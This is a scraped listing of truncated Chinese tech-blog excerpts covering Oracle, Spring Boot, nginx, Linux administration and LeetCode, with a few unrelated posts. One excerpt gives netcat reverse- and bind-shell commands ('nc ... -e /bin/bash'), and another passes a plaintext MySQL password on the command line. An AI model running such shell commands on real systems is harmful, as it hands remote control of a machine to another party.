nginx日志分割脚本 此文档只针对linux分割nginx日志nginx日志不自动带日志分割功能,需要自己写脚本分割日志,并加入到每日任务中,定期分割、存储、删除日志此脚本包括,日志分割、保存、删除、重建日志文件#!/bin/bash#date +%Y%m%d%H%M%SYEAR=`date +%Y`MONTH=`date +%m`DAY=`date +%d`HO...
oracle 异常处理 oracle 异常处理create unique index uname_idx on myuser(uname);select * from myuser for update;--捕获系统内置的异常declare v_i number; v_ename varchar2(20);begin --v_i:=1/1; --除数0异常 --i...
oracle 游标 oracle 游标select * from myuser for update;begin update myuser set password='654321' where id=5; dbms_output.put_line('上述操作影响了'||sql%rowcount||'条记录'); if(sql%found) then dbms...
Redis笔记01——win10 64位系统安装Redis 3.2.100 前言由于项目中需要用到Redis,所以先在自己的win10上安装来体验一下。安装步骤一、下载地址Redis下载地址我选择的是3.2.100 的 64位 zip版本二、安装位置以及文件简介下载之后,解压到自己喜欢的位置,我的位置是:G:\devsoft\Redis\Redis-3.2.100redis-server.exe:服务端程序,提供redis服务redi...
oracle体系结构 oracle体系结构数据库:指的是以一定方式储存在一起、能为多个用户共享、具有尽可能小的冗余度、与应用程序彼此独立的数据集合。(官方)数据库 = dbms+硬件。 dbms:数据库管理系统。软件。实例(在oracle里就是数据库:instance。数据库运行时的软件体现。关闭服务或断电时,实例就不存在了,但数据还在。实例分为:内存+进程。oracle内存分为:sga:系统级内...
oracle plsql基本语法 oracle plsql 基本语法--plsql默认规则:plsql赋值用":=" plsql判断用"=" plsql输入用"&"--输入输出declare v_str varchar2(20);begin -- Dbms_Output.put('hello'); -- Dbms_Output.put('xxxxxxxxxxxxxxxxxx'); -- Dbm...
使用springboot实现一个简单的restful crud——01、项目简介以及创建项目 前言之前一段时间学习了一些springboot的一些基础使用方法和敲了一些例子,是时候写一个简单的crud来将之前学的东西做一个整合了 —— 一个员工列表的增删改查。使用 restful api这次的CRUD将使用restful api的风格,restful api的风格现在非常流行,那restful api和传统的api有什么区别呢?举个例子来说吧查找某个用户传统api:...
oracle 逻辑对象 视图视图的作用:a 让查询返回的字段更容易理解。b 对复杂select语句的封装。c 安全性。视图可以单独授权。对于数据量巨大的表,可以创建视图仅仅返回前100条数据,将该视图select权限开放。但是不开放表的select权限。--grant create view to resource;--a 让查询返回的字段更容易理解create or replace view ...
使用springboot实现一个简单的restful crud——03、前端页面、管理员登陆(注销)功能... 前言这一篇我们就先引入前端页面和相关的静态资源,再做一下管理员的登陆和注销的功能,为后续在页面上操作数据做一个基础。前端页面前端的页面是我从网上找的一个基于Bootstrap 的dashboard模板,可以用来作为后台管理的界面,前端页面代码繁多,我只贴一些重要的,就不全部贴出来了。引入静态资源<!-- Bootstrap core CSS --><!--公...
springboot笔记09——使用aop 什么是AOP?aop(Aspect Oriented Programming)面向切面编程,是OOP(Object-Oriented Programing,面向对象编程)的补充和完善。OOP引入封装、继承和多态性等概念来建立一种对象层次结构,用以模拟公共行为的一个集合。但是在为分散的对象引入公共行为的时候,OOP显得无能为力。OOP擅长从上到下的关系,但是不适合从左到右的关系,例如日志...
linux ubuntu-16.04-配置java1.8和Tomcat8 前言第一次使用linux ubuntu16.04 服务器,所以做一下常用配置的记录。JDK1.创建存放jdk的目录一般在usr/local下创建一个java文件夹cd /usr/localmkdir java2.下载jdk可以用windows从http://www.oracle.com/technetwork/java/javase/downloads/jdk8-dow...
springboot笔记07——整合MyBatis 前言Springboot 整合 MyBatis 有两种方式,分别是:“全注解版” 和 “注解、xml混合版”。创建项目创建Springboot项目,选择依赖Maven依赖<dependency> <groupId>org.springframework.boot</groupId> <artifactId>s...
springboot笔记08——整合swagger2 Swagger是什么?Swagger是一个RESTFUL 接口的文档在线自动生成和功能测试的框架。利用swagger2的注解可以快速的在项目中构建Api接口文档,并且提供了测试API的功能。Springboot 整合Swagger2创建Springboot项目,添加相关依赖<dependencies> <dependency> &...
oracle 内置函数 sql常用内置函数--数学运算函数select abs(-10) from dual; --去绝对值select floor(1.1) from dual;--向下取整select ceil(1.1) from dual;--向上取整select ceil(-1.1) from dual;--向上取整select round(1.5) from dual;--四舍五入sel...
oracle 分页 oracle分页操作select * from emp;select * from emp where rownum<=3;--方式1 子查询分页:需要改动原语句select * from ( select rownum rn,emp.* from emp where rownum<=5) where rn>=3;--方式2 三层嵌套子循...
使用springboot实现一个简单的restful crud——02、dao层单元测试,测试从数据库取数据... 接着上一篇,上一篇我们创建了项目、创建了实体类,以及创建了数据库数据。这一篇就写一下Dao层,以及对Dao层进行单元测试,看下能否成功操作数据库数据。DaoEmpDaopackage com.jotal.springboot08restfulcrud.dao;//将类扫描进spring ioc容器中@Mapperpublic interface EmpDao {// ...
oracle 查询 10题 说明:表数据来自oracle 初始用户之一scott里面的三个初始表:emp,dept,salgrade--1、查询员工表中工资最高的雇员的员工号、员工姓名、工资和部门号。select empno,ename,sal,deptno from emp where sal=(select max(sal) from emp);--2、薪水大于1200的雇员,按照部门编号进行分组,分组后...
springboot笔记10——整合Redis 依赖 <dependencies> <!--web依赖--> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-sta...
centos7安装nginx并配置前端环境 服务器环境:CentOS Linux release 7.5.1804 (Core)安装路径:/usr/local1、安装编译工具以及库文件 (新服务器,未安装则需要先安装)# yum -y install make gcc-c++ libtool2、安装PCRE库(通过wget命令直接网络下载最新版本的pcre安装)# cd /usr/local...
数据验证之查询统计数据 我们做业务系统测试的时候,经常需要对页面展示的数据或后台传输的数据进行数据验证,即验证数据的正确性,本篇总结下测试过程中的常用的数据库查询统计的方法数据库:mysql1、简单的分组查询 group by 如统计A表中不同车型vehicle_class的数量和交易金额 SELECT COUNT(1) AS 总量, SUM(CAST(IFNULL(fee, 0...
jmeter正则提取器提取指定位置的字符串 1、需求:提取登录后的凭证ticket供系统其他接口调用2、登录接口返回的格式如下:{ "ret_code":0, "ret_msg":"login success", "data":"http://IP:port/authredirect?ticket=eyJhbGciOiJIUzUxMiJ9.eyJzY29wZXMiOjIxNzksImlzc...
mysql应用之通过存储过程方式批量插入数据 我们平时的测试过程中有一个环节就是准备测试数据,包括准备基础数据,准备业务数据,使用的场景包括压力测试,后台批量数据传输,前端大数据查询导出,或者分页打印等功能,准备测试数据我们通俗点讲就是造数据,根据不同的使用场景我们有不同的造数据的方式,比如需要大数据时我们可以用jmeter压测获取大数据,也可以导入生产数据,简单少许的测试数据我们直接在数据库中插入,本篇主要记录的是另外一种造数据的...
jmeter应用之批量插入数据 上一篇讲到如何在jmeter中配置并连接使用mysql数据库,这一节主要是讲数据库连接的简单应用——批量插入数据总体步骤如下:1)新建线程组和添加JDBC Connection Configuration这里不赘述,我们在线程组中添加JDBC Request并且选择Query Type为Update Statement,然后进行参数化注意:添加insert语句,根据建...
nc 命令转发bash 反向1.控制端:nc -lvp 44442.被控制端:nc 控制端IP 4444 -e /bin/bash正向1.被控制端:nc -lvp 4444 -e /bin/bash2.控制端:nc被控制端ip 4444转载于:https://www.cnblogs.com/ahuo/p/11574927.html...
树莓派3B+红外配置 sudo apt-get install lirc/etc/lirc/lirc_options.conf#driver = devinputdriver = default#device = /dev/lirc0device = auto In GPIO20OUT GPIO21dtoverlay=lirc-rpi,gpio_out...
mysql 后台运行命令 nohup mysql -u sa -pabcd1234 -e 'source /db.sql' &转载于:https://www.cnblogs.com/ahuo/p/11421388.html
进程退出后自动重启脚步 #!/bin/shwhile true;doprocessExist=`ps aux | grep xxx | grep -v "grep" `if [ -z "$processExist" ];then echo "proecss is restarted" cd /MyData/xxx nohup sh xxx.sh &else ...
Ubuntu查看crontab运行日志 crontab记录日志修改rsyslogsudo vim /etc/rsyslog.d/50-default.confcron.* /var/log/cron.log #将cron前面的注释符去掉重启rsyslogsudo service rsyslog restartsudo service cron restart查看cro...
修改qt版本 安装了qt4和qt5/usr/lib/x86_64-linux-gnu/qt-default/qtchooser 的default.conf第一行改成自己qmake的bin路径即可转载于:https://www.cnblogs.com/ahuo/p/11344048.html
Linux好用的工具 ag:比grep、ack更快的递归搜索文件内容。tig:字符模式下交互查看git项目,可以替代git命令。mycli:mysql客户端,支持语法高亮和命令补全,效果类似ipython,可以替代mysql命令。jq: json文件处理以及格式化显示,支持高亮,可以替换python -m json.tool。shellcheck:shell脚本静...
qt5 qmake开发 mkdir hellohelloworld.cpp#include <QPushButton>#include <QApplication>int main(int argc, char *argv[]){ QApplication app(argc, argv); QPushButton btn("hello ...
python-使用阿里云镜像加速 1.在当前用户根目录下建立.pip文件夹mkdir ~/.pip2.在.pip文件夹下创建文件pip.conf,并追加内容[global]trusted-host=mirrors.aliyun.comindex-url=http://mirrors.aliyun.com/pypi/simple/转载于:https://www.cnblogs.com/ahuo/p/1124...
mysql 导出查询结果 show variables like '%secure%'; 看看导出位置SELECT * FROM tb WHERE sn = '1'LIMIT 1,10into outfile '/var/lib/mysql-files/SPH.txt'转载于:https://www.cnblogs.com/ahuo/p/11293672.html
qt5 源码编译 源码 qt-everywhere-src-5.11.3依赖apt-get install bison build-essential gperf flex ruby python libasound2-dev libbz2-dev libcap-dev \libcups2-dev libdrm-dev libegl1-mesa-dev libgcrypt11-dev libnss...
python opencv PyQt5 import cv2import numpy as npimport sysfrom PyQt5.QtGui import *from PyQt5.QtCore import *from PyQt5.QtWidgets import *import datetimeclass Video(): def __init__(self, cap...
列出python库的内置方法 import cvdir(cv)['16SC', '16UC', '32FC', '32SC', '64FC', '8SC', '8UC', 'Abs', 'AbsDiff', 'AbsDiffS', 'Acc', 'AdaptiveThreshold', 'Add', 'AddS', 'AddWeighted', 'And', 'AndS', 'ApproxChains'...
yaml文件读取(5.1之前与5.1之后对比) 今天用以前的代码写新项目,运行代码报错:YAMLLoadWarning: calling yaml.load() without Loader=... is deprecated, as the default Loader is unsafe.去瞅了一眼,发现yaml.load(input)弃用了,随后发现,5.1之后的需要加一个加载器才可以正常运行,针对该变化,作了...
xml文件时第一行无缘无故报错 错误信息:Referenced file contains errors (http://www.puppycrawl.com/dtds/configuration_1_3.dtd). For more information, right click on the message in the。。。。之类的。我这里是做的是spring的applicationCo...
【2019.8.23】测试题目订正 T2:最大值与最小值众所周知,小葱同学擅长计算,尤其组合数但这个题和组合数什么关系。给定一张有向图,每个点有点权。试找到一条路径,使得该路径上的点权最大值减去点权最小值最大,问这个差最大是多少。 缩点后在DAG上DP,对每个dcc维护四个信息preMin/preMax/nxtMin/nxtMax,分别表示所有前驱、后继中的最大、最小点权,都要把这个dcc本身算在内。...
【模板】【P1182】数列分段II——二分答案 题意:给定一列数,分成m段,使每段和的最大值最小。 考虑二分最小段和size,答案显然满足单调性。可以在每次check中累加数列元素判断当前组的总和是否在size以内。由于序列元素均为非负整数,前缀和数组的值满足非严格单调递增,那么可以在前缀和上再套一个二分来优化暴力累加的过程。 我不知道优化以后的复杂度怎么分析,反正它跑的快多了代码:#include&l...
【2019.8.22】测试题目订正 上午T3: 上图表示了一个方阵,沿行、沿列及两个对角线的5 个数字可被当作一个5 位的质数被读入。 对于行,自左向右读数;对于列,自上向下读数;对于对角线,两个对角线 均自左向右读数。 请读入数据,编一个程序,按以下要求构成方阵。质数中每位之和(行、列、对角线)必须相同(本例是11)。方阵左上角中的数字预先给定(本例是1)。若存在多个解,必须...
学做菜的笔记 豇豆干饭①豇豆切成小块②五花肉煮九分熟.切成条状2.1 炒锅下米,做饭,待米粒九分熟捞起,乘米汤,过滤米饭,清水除去米粒上残留的米汤,滤干待用③热锅,下油,油不必太辣,因为要放豆瓣,..否则豆瓣一下锅就糊了,④豆瓣基本散开了,下五花肉,炒到五花肉出油,锅里都在冒泡泡了,下豇豆⑤把锅里的肉和豇豆翻炒均匀,收于锅底⑥铺上米饭,尽量均匀,尽量收得占锅面积小点⑦用...
tr -d命令删除与字符无关的符号 echo "/192.168"| tr -d '/'结果:192.168转载于:https://www.cnblogs.com/cheyunhua/p/11433588.html
CentOS7搭建时间服务器-chrony 系统:centos7防火墙:关闭防火墙和selinux软件:chronycentos6我们一直用的ntp时间服务器,虽然到CentOS7上也可以装ntp。但是各种问题。所以建议centos7使用chrony同步工具。服务端配置:1.安装chrony软件[root@server ~]# yum install chrony -y...
linux(centos7.0以上版本)安装 mysql-5.7.24-linux-glibc2.12-x86_64.tar 版本的mysql 1:查看 linux下是否有老版本的mysql(有删除)查找old mysql:rpm -qa | grep mysql卸载:卸载命令:rpm –ev {包名}——:rpm -ev mysql-community-common-5.7.23-1.el7.x86_64查找老版本mysql相关的安装目录命令:find / -name mysql若查找到相关...
Kubernetes容器集群管理环境 - Prometheus监控篇 一、Prometheus介绍之前已经详细介绍了Kubernetes集群部署篇,今天这里重点说下Kubernetes监控方案-Prometheus+Grafana。Prometheus(普罗米修斯)是一个开源系统监控和警报工具,最初是在SoundCloud建立的。自2012年成立以来,许多公司和组织都采用了普罗米修斯,该项目拥有一个非常活跃的开发者和用户社区。它现在是一个独立的开放源码项目...
人性化的HTTP命令行工具——HTTPie Httpie 是什么Httpie (aych-tee-tee-pie)是一个 HTTP 的命令行客户端。其目标是让 CLI 和 web 服务之间的交互尽可能的人性化。你可以用它很方便的用 http 的命令调试接口,最常用的应该就是 GET 和 POST 了。接口是什么举个简单形象的例子,如果有一家宠物店卖动物口粮,比如猫粮狗粮,那么出售粮食就是一个接口,来的是猫就卖猫粮,来的...
Shell脚本检测文件夹是否已被挂载的方法 方法1:if grep -qs '/mnt/foo' /proc/mounts; then echo "It's mounted."else echo "It's not mounted."fi方法2:if mountpoint -q /mnt/foothen echo "mounted"else echo "not mounted...
prometheus + influxdb + grafana + mysql 前言本文介绍使用influxdb 作为prometheus持久化存储和使用mysql 作为grafana 持久化存储的安装方法一 安装go环境如果自己有go环境可以自主编译remote_storage_adapter插件,安装go环境目的就是为了获得此插件,如果没有go环境可以使用我分享的连接下载。链接: https://pan.baidu.com/s/1DJpoYDOI...
免费好用的SSH手机客户端 简单说一些,SSH 为 Secure Shell 的缩写,由 IETF 的网络小组(Network Working Group)所制定,SSH 为建立在应用层基础上的安全协议。SSH 是目前较可靠,专为远程登录会话和其他网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题。其中,我们操作VPS服务器的时候,基本上都是在电脑上使用Putty或者Xshel...
Centos7搭建OpenNebula云平台 OpenNebula概述OpenNebula是专门为云计算打造的开源系统,用户可以使用Xen、KVM、VMware等虚拟化软件一起打造企业云。利用OpenNebula可以轻松构建私有云、混合云、公开云。OpenNebula提供丰富的接口和许多资源管理、预配置目录,可以快速、安全地构建富有弹性的云平台。OpenNebula的工作机制相对比较简单,传输方式...
Python实现目录文件的全量和增量备份 目标: 1.传入3个参数:源文件路径,目标文件路径,md5文件 2.每周一实现全量备份,其余时间增量备份1.通过传入的路径,获取该路径下面的所有目录和文件(递归)方法一:使用os.listdir代码如下:#!/usr/bin/env python#coding:utf8import os,sysdef lsdir(folder...
Python中__new__和__init__的区别与联系 __new__ 负责对象的创建而 __init__ 负责对象的初始化。__new__:创建对象时调用,会返回当前对象的一个实例__init__:创建完对象后调用,对当前对象的一些实例初始化,无返回值1. 在类中,如果__new__和__init__同时存在,会优先调用__new__1234567classClsTe...
16个python常用魔法函数 ==,is的使用·is是比较两个引用是否指向了同一个对象(引用比较)。·==是比较两个对象是否相等1、__ init__():所有类的超类object,有一个默认包含pass的__ init __()实现,这个函数会在对象初始化的时候调用,我们可以选择实现,也可以选择不实现,一般建议是实现的,不实现对象属性就不会被初始化,虽然我们仍然可以对其进行赋值,但是它...
Jumpserver双机高可用环境部署笔记 之前在IDC部署了Jumpserver堡垒机环境,作为登陆线上服务器的统一入口。后面运行一段时间后,发现Jumpserver服务器的CPU负载使用率高达80%以上,主要是python程序对CPU的消耗比较大,由于是单机部署,处于安全考虑,急需要部署一套Jumpserver双机高可用环境,实现LB+HA的降低负载和故障转移的目的。以下记录了环境部署的过程:1...
详解Django rest_framework实现RESTful API 这篇文章主要介绍了详解Django rest_framework实现RESTful API,小编觉得挺不错的,现在分享给大家,也给大家做个参考。一起跟随小编过来看看吧一、什么是REST面向资源是REST最明显的特征,资源是一种看待服务器的方式,将服务器看作是由很多离散的资源组成。每个资源是服务器上一个可命名的抽象概念。因为资源是一个抽象的概念,所以它不仅仅能代表服务器文件系统...
grep 精确匹配 如果是有进程名为abcd,abcde等有包含"abc"字符的,那么判断将会不准备,如果精确的匹配到abc呢,当时不知道,只能很诚实的回答,不清楚其实答案很简单,用grep –w "abc" 或者是grep "\<abc\>"都可以实现-w, --word-regexp 强制 PATTERN 仅完全匹配字词se...
解决 service iptables save 报错 please try to use systemctl 本文档根据 service iptables save 报错 please try to use systemctl 提供解决方案。报错[root@Jaking ~]# service iptables saveThe service command supports only basic LSB actions (start, stop, restart, try-restart,...
kubernetes 亲和性调度详解 文章目录1概述:2场景一:调度到一组具有相同特性的主机上(label+nodeSelector)3场景二:部署的应用不想调度到某些节点上(nodeaffinity)4场景三:部署的应用关联性很强,需要尽量在一个节点上5场景四:部署应用需要互斥,不能同时运行在一台主机上,会冲突6高级特性Taints and tolerations概述...
redis最大连接数 Well, it's a bit late for this post, but since I just spent a lot of time(the whole night) to configure a new redis server 3.0.6 on ubuntu 16.04. I think I should just write down how I do...
信用卡推广系统详解 信用卡推广系统最低仅需一万元。一、业务流程1.银行/第三方渠道签订协议2.平台、网站、公众号、个人等推广信用卡专用链接3.用户网上申请信用卡(仅首次办卡有奖励)4.银行/第三方渠道 日周/周结返佣如果不需要进行返佣分销,流程到此结束。如果需要进行信用卡分销,需要渠道返回办卡脱敏数据,才能匹配用户办卡进行返佣分销!!!5.后台匹配脱敏数据,自动给用户发放分销...
信用卡分销系统功能介绍 信用卡分销系统最低仅需一万元。一、产品模块1. 产品管理:基础功能2. 订单管理:审核用户的申请订单,最好支持批量操作3. 【重要】渠道数据匹配:可以快速把渠道后台下载的表格文件上传自动匹配订单,无需人工一个一个操作。4. 银行管理:由于每家银行仅首次申请信用卡才有返佣,这个功能可选。二、用户模块1. 用户封禁:因为不是论坛类网站没有发言功能,这个功能不...
jsp域EL表达式 jsp的基本结构jsp的实质就是一个servlet页面指令:告诉转义后的servlet的编码格式<%@ page contentType="text/html;charset=UTF-8" language="java" %><%! 成员变量,方法 %> 声明表达式<%= %> 表达式(使用变量与方法)<% %>小脚本、可以把里...
java项目连接数据库(oracle)中文乱码问题解决方法 今天写了一个java项目连接数据库,之后写了一个执行入库操作的模块。此时暴露出一个问题就是项目的中文插入到数据库时会是乱码:项目输出的中文:执行插入操作后数据库中内容:此时CustomerNumber字段是乱码。出现这种情况一般都是数据库编码与项目编码不一致导致的,首先查看项目与数据库的编码格式:查看项目编码:项目的编码是gbk格式查看数据库编码格式:数据库编码格式...
shell通过spool命令输出数据(通过sql)到指定文件 spool的作用是什么?spool的作用可以用一句话来描述:在sqlplus中用来保存或打印查询结果。1.对于SPOOL数据的SQL,最好要自己定义格式,以方便程序直接导入,比如以下SQL:select taskindex||'|'||commonindex||'|'||tasktype||'|'||to_number(to_char(sysdate,'YYYYMMDD')) fr...
shell通过sqlldr命令将数据文件导入到数据库 前段时间了解到了sqlldr这个功能,感觉很不错就尝试着搞一下。我也是通过查阅网上的资料了解并实验的。sqlldr的作用是将数据文件导入数据库的表,只支持单个文件的导入。不过可以使用循环或者数据文件合并来实现多个文件的导入。利用sqlldr进行数据文件的导入只要两步:1.写一个ctl格式的文件(用于说明接收表的一些信息)参数说明:load data -- 1. 控制文件标识...
java对象的介绍与面向对象简介 没事的时候翻了翻印象笔记,发现有不少以前整理的资料,都放到博客上来吧。对象:内存上来说是分配在堆上面的一块内存区域类:把一类具体事物相同特征,功能/行为抽象为属性与方法与过程。类与对象的关系:类是对象的模板,对象是类的具体表现。对象实例化:对象实例化是用构造函数实例化的。构造函数:与类名同名的函数,用来实例化对象并初始化成员变量。构造器、构造函数不能称为构造方法。类...
反射概述 先说下普通情况下新建一个类的过程。当我们为某个项目配置好jdk后,java文件在进行编译时,javac就已经将对应的Java文件编译为class文件了。在java中创建这个类的对象时且该类是首次被加载时,jvm虚拟机就加载对应的class文件并在内存中(方法区)创建了这个类对象并拷贝这个class文件中所有的成员变量到这个class类对象。之后在堆内存中开辟一块内存空间用于存储这个...
体检 虽然我们每年都体检,但都是稀里糊涂的,不知道哪些项目有用,哪些没用。反正就挑稍微贵点的、项目多的就完事了。看着琳琅满目的体检套餐,从几百块到上万块不等,突然间产生了怀疑:查这些到底有没用啊?每年几大千,是不是白花钱?于是就有了这篇东西。 先跟大家说几个重要结论: 体检很有必要。 体检套餐绝对不是越贵越好。 没有...
验证销售部门的数据查看权限-脚本demo 1 # coding:utf-8 2 ''' 3 @file: run_old.py 4 @author: jingsheng hong 5 @ide: PyCharm 6 @createTime: 2019年08月20日 17点16分 7 @contactInformation: 727803257@qq.com 8 ''' 9 10 imp...
接口自动化测试流程和相关准备工作 第一步: 拿到需求文档、UI交互图(原型图)、数据库表设计文档、接口文档1问:为什么要拿到这些文档资料呢?1答:①.《需求文档》,明确定义了:各个表单字段的限制条件;相关场景逻辑校验;②.《UI交互图》,明确定义了:各单页面需展示的数据;页面之间的交互;③.《数据表设计文档》,结合UI图和需求文档,明确定义了:表字段规则、表N多N关系(一对一、一对多、多对多);④...
【洛谷P5019】铺设道路 题目链接众所周知,这道题和积木大赛是同一道题题意就是给出一段自然数序列,每次操作\((L,R)\)把区间\([L,R]\)的数全部减一,不允许出现负数,问把序列变为零的最小操作次数贪心做法样例6 4 3 2 5 3 5 大概长这个样子我们考虑第一列的四块格子,最少需要\(4\)次操作给消除掉在考虑第二列的\(3\)个格子时,发现都可以在第一列的\(4\)次操作中...
219. Contains Duplicate II - LeetCode Description:Given an array of integers and an integer k, find out whether there are two distinct indices i and j in the array such that nums[i] = nums[j] and the absolute difference between i...
697. Degree of an Array - LeetCode Description:Given a non-empty array of non-negative integers nums, the degree of this array is defined as the maximum frequency of any one of its elements.Your task is to find the smallest ...
(Easy) Goat Latin - LeetCode Description:A sentence S is given, composed of words separated by spaces. Each word consists of lowercase and uppercase letters only.We would like to convert the sentence to "Goat Latin"(a...
(Easy) Toeplitz Matrix - LeetCode Description:A matrix is Toeplitz if every diagonal from top-left to bottom-right has the same element.Now given an M x N matrix, returnTrueif and only if the matrix is Toeplitz.Examp...
581. Shortest Unsorted Continuous Subarray (LeetCode) Description:Given an integer array, you need to find one continuous subarray that if you only sort this subarray in ascending order, then the whole array will be sorted in ascending order, to...
(Medium) Teemo Attacking - LeetCode Description:In LOL world, there is a hero called Teemo and his attacking can make his enemy Ashe be in poisoned condition. Now, given the Teemo's attacking ascending time series towards Ashe ...
(Easy) Sort Array By Parity II - LeetCode Description:Given an array Aof non-negative integers, half of the integers in A are odd, and half of the integers are even.Sort the array so that whenever A[i] is odd, i is odd; and whenev...
(Easy)1071. Greatest Common Divisor of Strings- LeetCode Description:For strings S and T, we say "T divides S" if and only if S = T + ... + T (T concatenated with itself 1 or more times)Return the largest string X such that X divides str1and X ...
(Easy) Lexicographical Numbers - LeetCode.(非独立完成) Description:Given an integer n, return 1 - n in lexicographical order.For example, given 13, return: [1,10,11,12,13,2,3,4,5,6,7,8,9].Please optimize your algorithm to use less time and spac...
(Easy) Array Partition I - LeetCode Description:Given an array of 2n integers, your task is to group these integers into n pairs of integer, say (a1, b1), (a2, b2), ..., (an, bn) which makes sum of min(ai, bi) for all i from 1 ...
(Easy) Ransom Note - LeetCode Description:Given an arbitrary ransom note string and another string containing letters from all the magazines, write a function that will return true if the ransom note can be constructed fr...
(Easy) Sum of Even Numbers After Queries - LeetCode Description:We have an array A of integers, and an array queriesof queries.For the i-thquery val =queries[i][0], index= queries[i][1], we add valto A[index]. Then, the answer to the i...
(Easy) Maximum Product of Three Numbers - LeetCode Description:Given an integer array, find three numbers whose product is maximum and output the maximum product.Example 1:Input: [1,2,3]Output: 6Example 2:Input: [1,2,3,4]Outp...
(Easy) Number Complement - LeetCode Description:Given a positive integer, output its complement number. The complement strategy is to flip the bits of its binary representation.Note:The given integer is guaranteed to fi...
(Easy) Most Common Word - LeetCode Description:Given a paragraphand a list of banned words, return the most frequent word that is not in the list of banned words. It is guaranteed there is at least one word that isn't banned...
(LeetCode) Can Place Flowers - LeetCode Description:Suppose you have a long flowerbed in which some of the plots are planted and some are not. However, flowers cannot be planted in adjacent plots - they would compete for water and bo...
(LeetCode) First Unique Character in a String - LeetCode Description:Given a string, find the first non-repeating character in it and return it's index. If it doesn't exist, return -1.Examples:s = "leetcode"return 0.s = "loveleetcode",r...
(LeetCode) Best Time to Buy and Sell Stock - LeetCode Description:Say you have an array for which the ith element is the price of a given stock on day i.If you were only permitted to complete at most one transaction (i.e., buy one and sell o...
(Medium) Shifting Letters - LeetCode Description:We have a string S of lowercase letters, and an integer array shifts.Call the shift of a letter, the next letter in the alphabet, (wrapping around so that 'z' becomes 'a').Fo...
Pancake Sorting- Algorithm. source link: https://www.geeksforgeeks.org/pancake-sorting/Description:Given an unsorted array, sort the given array. You are allowed to do only following operation on array.flip(arr, i):...
(Easy) Shortest Completing Word - LeetCode Description:Find the minimum length word from a given dictionary words, which has all the letters from the string licensePlate. Such a word is said to complete the given string licensePlate...
(LeetCode) Custom Sort String - LeetCode Description:S and T are strings composed of lowercase letters. In S, no letter occurs more than once.S was sorted in some custom order previously. We want to permute the characters of T so ...
(Easy) Guess Number Higher or Lower -LeetCode Description:We are playing the Guess Game. The game is as follows:I pick a number from 1 to n. You have to guess which number I picked.Every time you guess wrong, I'll tell you whether the ...